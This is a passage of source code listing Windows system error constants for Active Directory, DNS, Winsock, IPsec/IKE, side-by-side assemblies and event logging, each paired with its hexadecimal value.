DS_CANT_TREE_DELETE_CRITICAL_OBJ = 0x2170 + DS_INIT_FAILURE_CONSOLE = 0x2171 + DS_SAM_INIT_FAILURE_CONSOLE = 0x2172 + DS_FOREST_VERSION_TOO_HIGH = 0x2173 + DS_DOMAIN_VERSION_TOO_HIGH = 0x2174 + DS_FOREST_VERSION_TOO_LOW = 0x2175 + DS_DOMAIN_VERSION_TOO_LOW = 0x2176 + DS_INCOMPATIBLE_VERSION = 0x2177 + DS_LOW_DSA_VERSION = 0x2178 + DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 0x2179 + DS_NOT_SUPPORTED_SORT_ORDER = 0x217A + DS_NAME_NOT_UNIQUE = 0x217B + DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 0x217C + DS_OUT_OF_VERSION_STORE = 0x217D + DS_INCOMPATIBLE_CONTROLS_USED = 0x217E + DS_NO_REF_DOMAIN = 0x217F + DS_RESERVED_LINK_ID = 0x2180 + DS_LINK_ID_NOT_AVAILABLE = 0x2181 + DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 0x2182 + DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 0x2183 + DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 0x2184 + DS_MODIFYDN_DISALLOWED_BY_FLAG = 0x2185 + DS_MODIFYDN_WRONG_GRANDPARENT = 0x2186 + DS_NAME_TRUST_REFERRAL = 0x2187 + NOT_SUPPORTED_ON_STANDARD_SERVER = 0x2188 + DS_CANT_ACCESS_REMOTE_PART_OF_AD = 0x2189 + DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 0x218A + DS_THREAD_LIMIT_EXCEEDED = 0x218B + DS_NOT_CLOSEST = 0x218C + DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 0x218D + DS_SINGLE_USER_MODE_FAILED = 0x218E + DS_NTDSCRIPT_SYNTAX_ERROR = 0x218F + DS_NTDSCRIPT_PROCESS_ERROR = 0x2190 + DS_DIFFERENT_REPL_EPOCHS = 0x2191 + DS_DRS_EXTENSIONS_CHANGED = 0x2192 + DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 0x2193 + DS_NO_MSDS_INTID = 0x2194 + DS_DUP_MSDS_INTID = 0x2195 + DS_EXISTS_IN_RDNATTID = 0x2196 + DS_AUTHORIZATION_FAILED = 0x2197 + DS_INVALID_SCRIPT = 0x2198 + DS_REMOTE_CROSSREF_OP_FAILED = 0x2199 + DS_CROSS_REF_BUSY = 0x219A + DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 0x219B + DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 0x219C + DS_DUPLICATE_ID_FOUND = 0x219D + DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 0x219E + DS_GROUP_CONVERSION_ERROR = 0x219F + DS_CANT_MOVE_APP_BASIC_GROUP = 0x21A0 + DS_CANT_MOVE_APP_QUERY_GROUP = 0x21A1 + DS_ROLE_NOT_VERIFIED = 0x21A2 + DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 0x21A3 + DS_DOMAIN_RENAME_IN_PROGRESS = 0x21A4 + DS_EXISTING_AD_CHILD_NC = 0x21A5 + DS_REPL_LIFETIME_EXCEEDED = 0x21A6 + DS_DISALLOWED_IN_SYSTEM_CONTAINER = 0x21A7 + DS_LDAP_SEND_QUEUE_FULL = 0x21A8 + DS_DRA_OUT_SCHEDULE_WINDOW = 0x21A9 + DS_POLICY_NOT_KNOWN = 0x21AA + NO_SITE_SETTINGS_OBJECT = 0x21AB + NO_SECRETS = 0x21AC + NO_WRITABLE_DC_FOUND = 0x21AD + DS_NO_SERVER_OBJECT = 0x21AE + DS_NO_NTDSA_OBJECT = 0x21AF + DS_NON_ASQ_SEARCH = 0x21B0 + DS_AUDIT_FAILURE = 0x21B1 + DS_INVALID_SEARCH_FLAG_SUBTREE = 0x21B2 + DS_INVALID_SEARCH_FLAG_TUPLE = 0x21B3 + DS_HIERARCHY_TABLE_TOO_DEEP = 0x21B4 + DS_DRA_CORRUPT_UTD_VECTOR = 0x21B5 + DS_DRA_SECRETS_DENIED = 0x21B6 + DS_RESERVED_MAPI_ID = 0x21B7 + DS_MAPI_ID_NOT_AVAILABLE = 0x21B8 + DS_DRA_MISSING_KRBTGT_SECRET = 0x21B9 + DS_DOMAIN_NAME_EXISTS_IN_FOREST = 0x21BA + DS_FLAT_NAME_EXISTS_IN_FOREST = 0x21BB + INVALID_USER_PRINCIPAL_NAME = 0x21BC + DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS = 0x21BD + DS_OID_NOT_FOUND = 0x21BE + DS_DRA_RECYCLED_TARGET = 0x21BF + DNS_RCODE_FORMAT_ERROR = 0x2329 + DNS_RCODE_SERVER_FAILURE = 0x232A + DNS_RCODE_NAME_ERROR = 0x232B + DNS_RCODE_NOT_IMPLEMENTED = 0x232C + DNS_RCODE_REFUSED = 0x232D + DNS_RCODE_YXDOMAIN = 0x232E + DNS_RCODE_YXRRSET = 0x232F + DNS_RCODE_NXRRSET = 0x2330 + DNS_RCODE_NOTAUTH = 0x2331 + DNS_RCODE_NOTZONE = 0x2332 + DNS_RCODE_BADSIG = 0x2338 + DNS_RCODE_BADKEY = 0x2339 + DNS_RCODE_BADTIME = 0x233A + DNS_INFO_NO_RECORDS = 0x251D + DNS_BAD_PACKET = 0x251E + DNS_NO_PACKET = 0x251F + DNS_RCODE = 0x2520 + DNS_UNSECURE_PACKET = 0x2521 + DNS_INVALID_TYPE = 0x254F + DNS_INVALID_IP_ADDRESS = 0x2550 + DNS_INVALID_PROPERTY = 0x2551 + DNS_TRY_AGAIN_LATER = 0x2552 + DNS_NOT_UNIQUE = 0x2553 + DNS_NON_RFC_NAME = 0x2554 + DNS_STATUS_FQDN = 0x2555 + DNS_STATUS_DOTTED_NAME = 0x2556 + DNS_STATUS_SINGLE_PART_NAME = 0x2557 + DNS_INVALID_NAME_CHAR = 0x2558 + DNS_NUMERIC_NAME = 0x2559 + DNS_NOT_ALLOWED_ON_ROOT_SERVER = 0x255A + DNS_NOT_ALLOWED_UNDER_DELEGATION = 0x255B + DNS_CANNOT_FIND_ROOT_HINTS = 0x255C + DNS_INCONSISTENT_ROOT_HINTS = 0x255D + DNS_DWORD_VALUE_TOO_SMALL = 0x255E + DNS_DWORD_VALUE_TOO_LARGE = 0x255F + DNS_BACKGROUND_LOADING = 0x2560 + DNS_NOT_ALLOWED_ON_RODC = 0x2561 + DNS_NOT_ALLOWED_UNDER_DNAME = 0x2562 + DNS_DELEGATION_REQUIRED = 0x2563 + DNS_INVALID_POLICY_TABLE = 0x2564 + DNS_ZONE_DOES_NOT_EXIST = 0x2581 + DNS_NO_ZONE_INFO = 0x2582 + DNS_INVALID_ZONE_OPERATION = 0x2583 + DNS_ZONE_CONFIGURATION_ERROR = 0x2584 + DNS_ZONE_HAS_NO_SOA_RECORD = 0x2585 + DNS_ZONE_HAS_NO_NS_RECORDS = 0x2586 + DNS_ZONE_LOCKED = 0x2587 + DNS_ZONE_CREATION_FAILED = 0x2588 + DNS_ZONE_ALREADY_EXISTS = 0x2589 + DNS_AUTOZONE_ALREADY_EXISTS = 0x258A + DNS_INVALID_ZONE_TYPE = 0x258B + DNS_SECONDARY_REQUIRES_MASTER_IP = 0x258C + DNS_ZONE_NOT_SECONDARY = 0x258D + DNS_NEED_SECONDARY_ADDRESSES = 0x258E + DNS_WINS_INIT_FAILED = 0x258F + DNS_NEED_WINS_SERVERS = 0x2590 + DNS_NBSTAT_INIT_FAILED = 0x2591 + DNS_SOA_DELETE_INVALID = 0x2592 + DNS_FORWARDER_ALREADY_EXISTS = 0x2593 + DNS_ZONE_REQUIRES_MASTER_IP = 0x2594 + DNS_ZONE_IS_SHUTDOWN = 0x2595 + DNS_PRIMARY_REQUIRES_DATAFILE = 0x25B3 + DNS_INVALID_DATAFILE_NAME = 0x25B4 + DNS_DATAFILE_OPEN_FAILURE = 0x25B5 + DNS_FILE_WRITEBACK_FAILED = 0x25B6 + DNS_DATAFILE_PARSING = 0x25B7 + DNS_RECORD_DOES_NOT_EXIST = 0x25E5 + DNS_RECORD_FORMAT = 0x25E6 + DNS_NODE_CREATION_FAILED = 0x25E7 + DNS_UNKNOWN_RECORD_TYPE = 0x25E8 + DNS_RECORD_TIMED_OUT = 0x25E9 + DNS_NAME_NOT_IN_ZONE = 0x25EA + DNS_CNAME_LOOP = 0x25EB + DNS_NODE_IS_CNAME = 0x25EC + DNS_CNAME_COLLISION = 0x25ED + DNS_RECORD_ONLY_AT_ZONE_ROOT = 0x25EE + DNS_RECORD_ALREADY_EXISTS = 0x25EF + DNS_SECONDARY_DATA = 0x25F0 + DNS_NO_CREATE_CACHE_DATA = 0x25F1 + DNS_NAME_DOES_NOT_EXIST = 0x25F2 + DNS_WARNING_PTR_CREATE_FAILED = 0x25F3 + DNS_WARNING_DOMAIN_UNDELETED = 0x25F4 + DNS_DS_UNAVAILABLE = 0x25F5 + DNS_DS_ZONE_ALREADY_EXISTS = 0x25F6 + DNS_NO_BOOTFILE_IF_DS_ZONE = 0x25F7 + DNS_NODE_IS_DNAME = 0x25F8 + DNS_DNAME_COLLISION = 0x25F9 + DNS_ALIAS_LOOP = 0x25FA + DNS_INFO_AXFR_COMPLETE = 0x2617 + DNS_AXFR = 0x2618 + DNS_INFO_ADDED_LOCAL_WINS = 0x2619 + DNS_STATUS_CONTINUE_NEEDED = 0x2649 + DNS_NO_TCPIP = 0x267B + DNS_NO_DNS_SERVERS = 0x267C + DNS_DP_DOES_NOT_EXIST = 0x26AD + DNS_DP_ALREADY_EXISTS = 0x26AE + DNS_DP_NOT_ENLISTED = 0x26AF + DNS_DP_ALREADY_ENLISTED = 0x26B0 + DNS_DP_NOT_AVAILABLE = 0x26B1 + DNS_DP_FSMO_ERROR = 0x26B2 + WSAEINTR = 0x2714 + WSAEBADF = 0x2719 + WSAEACCES = 0x271D + WSAEFAULT = 0x271E + WSAEINVAL = 0x2726 + WSAEMFILE = 0x2728 + WSAEWOULDBLOCK = 0x2733 + WSAEINPROGRESS = 0x2734 + WSAEALREADY = 0x2735 + WSAENOTSOCK = 0x2736 + WSAEDESTADDRREQ = 0x2737 + WSAEMSGSIZE = 0x2738 + WSAEPROTOTYPE = 0x2739 + WSAENOPROTOOPT = 0x273A + WSAEPROTONOSUPPORT = 0x273B + WSAESOCKTNOSUPPORT = 0x273C + WSAEOPNOTSUPP = 0x273D + WSAEPFNOSUPPORT = 0x273E + WSAEAFNOSUPPORT = 0x273F + WSAEADDRINUSE = 0x2740 + WSAEADDRNOTAVAIL = 0x2741 + WSAENETDOWN = 0x2742 + WSAENETUNREACH = 0x2743 + WSAENETRESET = 0x2744 + WSAECONNABORTED = 0x2745 + WSAECONNRESET = 0x2746 + WSAENOBUFS = 0x2747 + WSAEISCONN = 0x2748 + WSAENOTCONN = 0x2749 + WSAESHUTDOWN = 0x274A + WSAETOOMANYREFS = 0x274B + WSAETIMEDOUT = 0x274C + WSAECONNREFUSED = 0x274D + WSAELOOP = 0x274E + WSAENAMETOOLONG = 0x274F + WSAEHOSTDOWN = 0x2750 + WSAEHOSTUNREACH = 0x2751 + WSAENOTEMPTY = 0x2752 + WSAEPROCLIM = 0x2753 + WSAEUSERS = 0x2754 + WSAEDQUOT = 0x2755 + WSAESTALE = 0x2756 + WSAEREMOTE = 0x2757 + WSASYSNOTREADY = 0x276B + WSAVERNOTSUPPORTED = 0x276C + WSANOTINITIALISED = 0x276D + WSAEDISCON = 0x2775 + WSAENOMORE = 0x2776 + WSAECANCELLED = 0x2777 + WSAEINVALIDPROCTABLE = 0x2778 + WSAEINVALIDPROVIDER = 0x2779 + WSAEPROVIDERFAILEDINIT = 0x277A + WSASYSCALLFAILURE = 0x277B + WSASERVICE_NOT_FOUND = 0x277C + WSATYPE_NOT_FOUND = 0x277D + WSA_E_NO_MORE = 0x277E + WSA_E_CANCELLED = 0x277F + WSAEREFUSED = 0x2780 + WSAHOST_NOT_FOUND = 0x2AF9 + WSATRY_AGAIN = 0x2AFA + WSANO_RECOVERY = 0x2AFB + WSANO_DATA = 0x2AFC + WSA_QOS_RECEIVERS = 0x2AFD + WSA_QOS_SENDERS = 0x2AFE + WSA_QOS_NO_SENDERS = 0x2AFF + WSA_QOS_NO_RECEIVERS = 0x2B00 + WSA_QOS_REQUEST_CONFIRMED = 0x2B01 + WSA_QOS_ADMISSION_FAILURE = 0x2B02 + WSA_QOS_POLICY_FAILURE = 0x2B03 + WSA_QOS_BAD_STYLE = 0x2B04 + WSA_QOS_BAD_OBJECT = 0x2B05 + WSA_QOS_TRAFFIC_CTRL_ERROR = 0x2B06 + WSA_QOS_GENERIC_ERROR = 0x2B07 + WSA_QOS_ESERVICETYPE = 0x2B08 + WSA_QOS_EFLOWSPEC = 0x2B09 + WSA_QOS_EPROVSPECBUF = 0x2B0A + WSA_QOS_EFILTERSTYLE = 0x2B0B + WSA_QOS_EFILTERTYPE = 0x2B0C + WSA_QOS_EFILTERCOUNT = 0x2B0D + WSA_QOS_EOBJLENGTH = 0x2B0E + WSA_QOS_EFLOWCOUNT = 0x2B0F + WSA_QOS_EUNKNOWNPSOBJ = 0x2B10 + WSA_QOS_EPOLICYOBJ = 0x2B11 + WSA_QOS_EFLOWDESC = 0x2B12 + WSA_QOS_EPSFLOWSPEC = 0x2B13 + WSA_QOS_EPSFILTERSPEC = 0x2B14 + WSA_QOS_ESDMODEOBJ = 0x2B15 + WSA_QOS_ESHAPERATEOBJ = 0x2B16 + WSA_QOS_RESERVED_PETYPE = 0x2B17 + IPSEC_QM_POLICY_EXISTS = 0x32C8 + IPSEC_QM_POLICY_NOT_FOUND = 0x32C9 + IPSEC_QM_POLICY_IN_USE = 0x32CA + IPSEC_MM_POLICY_EXISTS = 0x32CB + IPSEC_MM_POLICY_NOT_FOUND = 0x32CC + IPSEC_MM_POLICY_IN_USE = 0x32CD + IPSEC_MM_FILTER_EXISTS = 0x32CE + IPSEC_MM_FILTER_NOT_FOUND = 0x32CF + IPSEC_TRANSPORT_FILTER_EXISTS = 0x32D0 + IPSEC_TRANSPORT_FILTER_NOT_FOUND = 0x32D1 + IPSEC_MM_AUTH_EXISTS = 0x32D2 + IPSEC_MM_AUTH_NOT_FOUND = 0x32D3 + IPSEC_MM_AUTH_IN_USE = 0x32D4 + IPSEC_DEFAULT_MM_POLICY_NOT_FOUND = 0x32D5 + IPSEC_DEFAULT_MM_AUTH_NOT_FOUND = 0x32D6 + IPSEC_DEFAULT_QM_POLICY_NOT_FOUND = 0x32D7 + IPSEC_TUNNEL_FILTER_EXISTS = 0x32D8 + IPSEC_TUNNEL_FILTER_NOT_FOUND = 0x32D9 + IPSEC_MM_FILTER_PENDING_DELETION = 0x32DA + IPSEC_TRANSPORT_FILTER_PENDING_DELETION = 0x32DB + IPSEC_TUNNEL_FILTER_PENDING_DELETION = 0x32DC + IPSEC_MM_POLICY_PENDING_DELETION = 0x32DD + IPSEC_MM_AUTH_PENDING_DELETION = 0x32DE + IPSEC_QM_POLICY_PENDING_DELETION = 0x32DF + WARNING_IPSEC_MM_POLICY_PRUNED = 0x32E0 + WARNING_IPSEC_QM_POLICY_PRUNED = 0x32E1 + IPSEC_IKE_AUTH_FAIL = 0x35E9 + IPSEC_IKE_ATTRIB_FAIL = 0x35EA + IPSEC_IKE_NEGOTIATION_PENDING = 0x35EB + IPSEC_IKE_GENERAL_PROCESSING_ERROR = 0x35EC + IPSEC_IKE_TIMED_OUT = 0x35ED + IPSEC_IKE_NO_CERT = 0x35EE + IPSEC_IKE_SA_DELETED = 0x35EF + IPSEC_IKE_SA_REAPED = 0x35F0 + IPSEC_IKE_MM_ACQUIRE_DROP = 0x35F1 + IPSEC_IKE_QM_ACQUIRE_DROP = 0x35F2 + IPSEC_IKE_QUEUE_DROP_MM = 0x35F3 + IPSEC_IKE_QUEUE_DROP_NO_MM = 0x35F4 + IPSEC_IKE_DROP_NO_RESPONSE = 0x35F5 + IPSEC_IKE_MM_DELAY_DROP = 0x35F6 + IPSEC_IKE_QM_DELAY_DROP = 0x35F7 + IPSEC_IKE_ERROR = 0x35F8 + IPSEC_IKE_CRL_FAILED = 0x35F9 + IPSEC_IKE_INVALID_KEY_USAGE = 0x35FA + IPSEC_IKE_INVALID_CERT_TYPE = 0x35FB + IPSEC_IKE_NO_PRIVATE_KEY = 0x35FC + IPSEC_IKE_DH_FAIL = 0x35FE + IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED = 0x35FF + IPSEC_IKE_INVALID_HEADER = 0x3600 + IPSEC_IKE_NO_POLICY = 0x3601 + IPSEC_IKE_INVALID_SIGNATURE = 0x3602 + IPSEC_IKE_KERBEROS_ERROR = 0x3603 + IPSEC_IKE_NO_PUBLIC_KEY = 0x3604 + IPSEC_IKE_PROCESS_ERR = 0x3605 + IPSEC_IKE_PROCESS_ERR_SA = 0x3606 + IPSEC_IKE_PROCESS_ERR_PROP = 0x3607 + IPSEC_IKE_PROCESS_ERR_TRANS = 0x3608 + IPSEC_IKE_PROCESS_ERR_KE = 0x3609 + IPSEC_IKE_PROCESS_ERR_ID = 0x360A + IPSEC_IKE_PROCESS_ERR_CERT = 0x360B + IPSEC_IKE_PROCESS_ERR_CERT_REQ = 0x360C + IPSEC_IKE_PROCESS_ERR_HASH = 0x360D + IPSEC_IKE_PROCESS_ERR_SIG = 0x360E + IPSEC_IKE_PROCESS_ERR_NONCE = 0x360F + IPSEC_IKE_PROCESS_ERR_NOTIFY = 0x3610 + IPSEC_IKE_PROCESS_ERR_DELETE = 0x3611 + IPSEC_IKE_PROCESS_ERR_VENDOR = 0x3612 + IPSEC_IKE_INVALID_PAYLOAD = 0x3613 + IPSEC_IKE_LOAD_SOFT_SA = 0x3614 + IPSEC_IKE_SOFT_SA_TORN_DOWN = 0x3615 + IPSEC_IKE_INVALID_COOKIE = 0x3616 + IPSEC_IKE_NO_PEER_CERT = 0x3617 + IPSEC_IKE_PEER_CRL_FAILED = 0x3618 + IPSEC_IKE_POLICY_CHANGE = 0x3619 + IPSEC_IKE_NO_MM_POLICY = 0x361A + IPSEC_IKE_NOTCBPRIV = 0x361B + IPSEC_IKE_SECLOADFAIL = 0x361C + IPSEC_IKE_FAILSSPINIT = 0x361D + IPSEC_IKE_FAILQUERYSSP = 0x361E + IPSEC_IKE_SRVACQFAIL = 0x361F + IPSEC_IKE_SRVQUERYCRED = 0x3620 + IPSEC_IKE_GETSPIFAIL = 0x3621 + IPSEC_IKE_INVALID_FILTER = 0x3622 + IPSEC_IKE_OUT_OF_MEMORY = 0x3623 + IPSEC_IKE_ADD_UPDATE_KEY_FAILED = 0x3624 + IPSEC_IKE_INVALID_POLICY = 0x3625 + IPSEC_IKE_UNKNOWN_DOI = 0x3626 + IPSEC_IKE_INVALID_SITUATION = 0x3627 + IPSEC_IKE_DH_FAILURE = 0x3628 + IPSEC_IKE_INVALID_GROUP = 0x3629 + IPSEC_IKE_ENCRYPT = 0x362A + IPSEC_IKE_DECRYPT = 0x362B + IPSEC_IKE_POLICY_MATCH = 0x362C + IPSEC_IKE_UNSUPPORTED_ID = 0x362D + IPSEC_IKE_INVALID_HASH = 0x362E + IPSEC_IKE_INVALID_HASH_ALG = 0x362F + IPSEC_IKE_INVALID_HASH_SIZE = 0x3630 + IPSEC_IKE_INVALID_ENCRYPT_ALG = 0x3631 + IPSEC_IKE_INVALID_AUTH_ALG = 0x3632 + IPSEC_IKE_INVALID_SIG = 0x3633 + IPSEC_IKE_LOAD_FAILED = 0x3634 + IPSEC_IKE_RPC_DELETE = 0x3635 + IPSEC_IKE_BENIGN_REINIT = 0x3636 + IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY = 0x3637 + IPSEC_IKE_QM_LIMIT_REAP = 0x3638 + IPSEC_IKE_INVALID_CERT_KEYLEN = 0x3639 + IPSEC_IKE_MM_LIMIT = 0x363A + IPSEC_IKE_NEGOTIATION_DISABLED = 0x363B + IPSEC_IKE_QM_LIMIT = 0x363C + IPSEC_IKE_MM_EXPIRED = 0x363D + IPSEC_IKE_PEER_MM_ASSUMED_INVALID = 0x363E + IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH = 0x363F + IPSEC_IKE_UNEXPECTED_MESSAGE_ID = 0x3640 + IPSEC_IKE_INVALID_AUTH_PAYLOAD = 0x3641 + IPSEC_IKE_DOS_COOKIE_SENT = 0x3642 + IPSEC_IKE_SHUTTING_DOWN = 0x3643 + IPSEC_IKE_CGA_AUTH_FAILED = 0x3644 + IPSEC_IKE_PROCESS_ERR_NATOA = 0x3645 + IPSEC_IKE_INVALID_MM_FOR_QM = 0x3646 + IPSEC_IKE_QM_EXPIRED = 0x3647 + IPSEC_IKE_TOO_MANY_FILTERS = 0x3648 + IPSEC_IKE_NEG_STATUS_END = 0x3649 + IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL = 0x364A + IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE = 0x364B + IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING = 0x364C + IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING = 0x364D + IPSEC_IKE_COEXISTENCE_SUPPRESS = 0x364E + IPSEC_IKE_RATELIMIT_DROP = 0x364F + IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE = 0x3650 + IPSEC_IKE_AUTHORIZATION_FAILURE = 0x3651 + IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE = 0x3652 + IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY = 0x3653 + IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE = 0x3654 + IPSEC_BAD_SPI = 0x3656 + IPSEC_SA_LIFETIME_EXPIRED = 0x3657 + IPSEC_WRONG_SA = 0x3658 + IPSEC_REPLAY_CHECK_FAILED = 0x3659 + IPSEC_INVALID_PACKET = 0x365A + IPSEC_INTEGRITY_CHECK_FAILED = 0x365B + IPSEC_CLEAR_TEXT_DROP = 0x365C + IPSEC_AUTH_FIREWALL_DROP = 0x365D + IPSEC_THROTTLE_DROP = 0x365E + IPSEC_DOSP_BLOCK = 0x3665 + IPSEC_DOSP_RECEIVED_MULTICAST = 0x3666 + IPSEC_DOSP_INVALID_PACKET = 0x3667 + IPSEC_DOSP_STATE_LOOKUP_FAILED = 0x3668 + IPSEC_DOSP_MAX_ENTRIES = 0x3669 + IPSEC_DOSP_KEYMOD_NOT_ALLOWED = 0x366A + IPSEC_DOSP_NOT_INSTALLED = 0x366B + IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES = 0x366C + SXS_SECTION_NOT_FOUND = 0x36B0 + SXS_CANT_GEN_ACTCTX = 0x36B1 + SXS_INVALID_ACTCTXDATA_FORMAT = 0x36B2 + SXS_ASSEMBLY_NOT_FOUND = 0x36B3 + SXS_MANIFEST_FORMAT_ERROR = 0x36B4 + SXS_MANIFEST_PARSE_ERROR = 0x36B5 + SXS_ACTIVATION_CONTEXT_DISABLED = 0x36B6 + SXS_KEY_NOT_FOUND = 0x36B7 + SXS_VERSION_CONFLICT = 0x36B8 + SXS_WRONG_SECTION_TYPE = 0x36B9 + SXS_THREAD_QUERIES_DISABLED = 0x36BA + SXS_PROCESS_DEFAULT_ALREADY_SET = 0x36BB + SXS_UNKNOWN_ENCODING_GROUP = 0x36BC + SXS_UNKNOWN_ENCODING = 0x36BD + SXS_INVALID_XML_NAMESPACE_URI = 0x36BE + SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED = 0x36BF + SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED = 0x36C0 + SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE = 0x36C1 + SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE = 0x36C2 + SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE = 0x36C3 + SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT = 0x36C4 + SXS_DUPLICATE_DLL_NAME = 0x36C5 + SXS_DUPLICATE_WINDOWCLASS_NAME = 0x36C6 + SXS_DUPLICATE_CLSID = 0x36C7 + SXS_DUPLICATE_IID = 0x36C8 + SXS_DUPLICATE_TLBID = 0x36C9 + SXS_DUPLICATE_PROGID = 0x36CA + SXS_DUPLICATE_ASSEMBLY_NAME = 0x36CB + SXS_FILE_HASH_MISMATCH = 0x36CC + SXS_POLICY_PARSE_ERROR = 0x36CD + SXS_XML_E_MISSINGQUOTE = 0x36CE + SXS_XML_E_COMMENTSYNTAX = 0x36CF + SXS_XML_E_BADSTARTNAMECHAR = 0x36D0 + SXS_XML_E_BADNAMECHAR = 0x36D1 + SXS_XML_E_BADCHARINSTRING = 0x36D2 + SXS_XML_E_XMLDECLSYNTAX = 0x36D3 + SXS_XML_E_BADCHARDATA = 0x36D4 + SXS_XML_E_MISSINGWHITESPACE = 0x36D5 + SXS_XML_E_EXPECTINGTAGEND = 0x36D6 + SXS_XML_E_MISSINGSEMICOLON = 0x36D7 + SXS_XML_E_UNBALANCEDPAREN = 0x36D8 + SXS_XML_E_INTERNALERROR = 0x36D9 + SXS_XML_E_UNEXPECTED_WHITESPACE = 0x36DA + SXS_XML_E_INCOMPLETE_ENCODING = 0x36DB + SXS_XML_E_MISSING_PAREN = 0x36DC + SXS_XML_E_EXPECTINGCLOSEQUOTE = 0x36DD + SXS_XML_E_MULTIPLE_COLONS = 0x36DE + SXS_XML_E_INVALID_DECIMAL = 0x36DF + SXS_XML_E_INVALID_HEXIDECIMAL = 0x36E0 + SXS_XML_E_INVALID_UNICODE = 0x36E1 + SXS_XML_E_WHITESPACEORQUESTIONMARK = 0x36E2 + SXS_XML_E_UNEXPECTEDENDTAG = 0x36E3 + SXS_XML_E_UNCLOSEDTAG = 0x36E4 + SXS_XML_E_DUPLICATEATTRIBUTE = 0x36E5 + SXS_XML_E_MULTIPLEROOTS = 0x36E6 + SXS_XML_E_INVALIDATROOTLEVEL = 0x36E7 + SXS_XML_E_BADXMLDECL = 0x36E8 + SXS_XML_E_MISSINGROOT = 0x36E9 + SXS_XML_E_UNEXPECTEDEOF = 0x36EA + SXS_XML_E_BADPEREFINSUBSET = 0x36EB + SXS_XML_E_UNCLOSEDSTARTTAG = 0x36EC + SXS_XML_E_UNCLOSEDENDTAG = 0x36ED + SXS_XML_E_UNCLOSEDSTRING = 0x36EE + SXS_XML_E_UNCLOSEDCOMMENT = 0x36EF + SXS_XML_E_UNCLOSEDDECL = 0x36F0 + SXS_XML_E_UNCLOSEDCDATA = 0x36F1 + SXS_XML_E_RESERVEDNAMESPACE = 0x36F2 + SXS_XML_E_INVALIDENCODING = 0x36F3 + SXS_XML_E_INVALIDSWITCH = 0x36F4 + SXS_XML_E_BADXMLCASE = 0x36F5 + SXS_XML_E_INVALID_STANDALONE = 0x36F6 + SXS_XML_E_UNEXPECTED_STANDALONE = 0x36F7 + SXS_XML_E_INVALID_VERSION = 0x36F8 + SXS_XML_E_MISSINGEQUALS = 0x36F9 + SXS_PROTECTION_RECOVERY_FAILED = 0x36FA + SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT = 0x36FB + SXS_PROTECTION_CATALOG_NOT_VALID = 0x36FC + SXS_UNTRANSLATABLE_HRESULT = 0x36FD + SXS_PROTECTION_CATALOG_FILE_MISSING = 0x36FE + SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE = 0x36FF + SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME = 0x3700 + SXS_ASSEMBLY_MISSING = 0x3701 + SXS_CORRUPT_ACTIVATION_STACK = 0x3702 + SXS_CORRUPTION = 0x3703 + SXS_EARLY_DEACTIVATION = 0x3704 + SXS_INVALID_DEACTIVATION = 0x3705 + SXS_MULTIPLE_DEACTIVATION = 0x3706 + SXS_PROCESS_TERMINATION_REQUESTED = 0x3707 + SXS_RELEASE_ACTIVATION_CONTEXT = 0x3708 + SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY = 0x3709 + SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE = 0x370A + SXS_INVALID_IDENTITY_ATTRIBUTE_NAME = 0x370B + SXS_IDENTITY_DUPLICATE_ATTRIBUTE = 0x370C + SXS_IDENTITY_PARSE_ERROR = 0x370D + MALFORMED_SUBSTITUTION_STRING = 0x370E + SXS_INCORRECT_PUBLIC_KEY_TOKEN = 0x370F + UNMAPPED_SUBSTITUTION_STRING = 0x3710 + SXS_ASSEMBLY_NOT_LOCKED = 0x3711 + SXS_COMPONENT_STORE_CORRUPT = 0x3712 + ADVANCED_INSTALLER_FAILED = 0x3713 + XML_ENCODING_MISMATCH = 0x3714 + SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT = 0x3715 + SXS_IDENTITIES_DIFFERENT = 0x3716 + SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT = 0x3717 + SXS_FILE_NOT_PART_OF_ASSEMBLY = 0x3718 + SXS_MANIFEST_TOO_BIG = 0x3719 + SXS_SETTING_NOT_REGISTERED = 0x371A + SXS_TRANSACTION_CLOSURE_INCOMPLETE = 0x371B + SMI_PRIMITIVE_INSTALLER_FAILED = 0x371C + GENERIC_COMMAND_FAILED = 0x371D + SXS_FILE_HASH_MISSING = 0x371E + EVT_INVALID_CHANNEL_PATH = 0x3A98 + EVT_INVALID_QUERY = 0x3A99 + EVT_PUBLISHER_METADATA_NOT_FOUND = 0x3A9A + EVT_EVENT_TEMPLATE_NOT_FOUND = 0x3A9B + 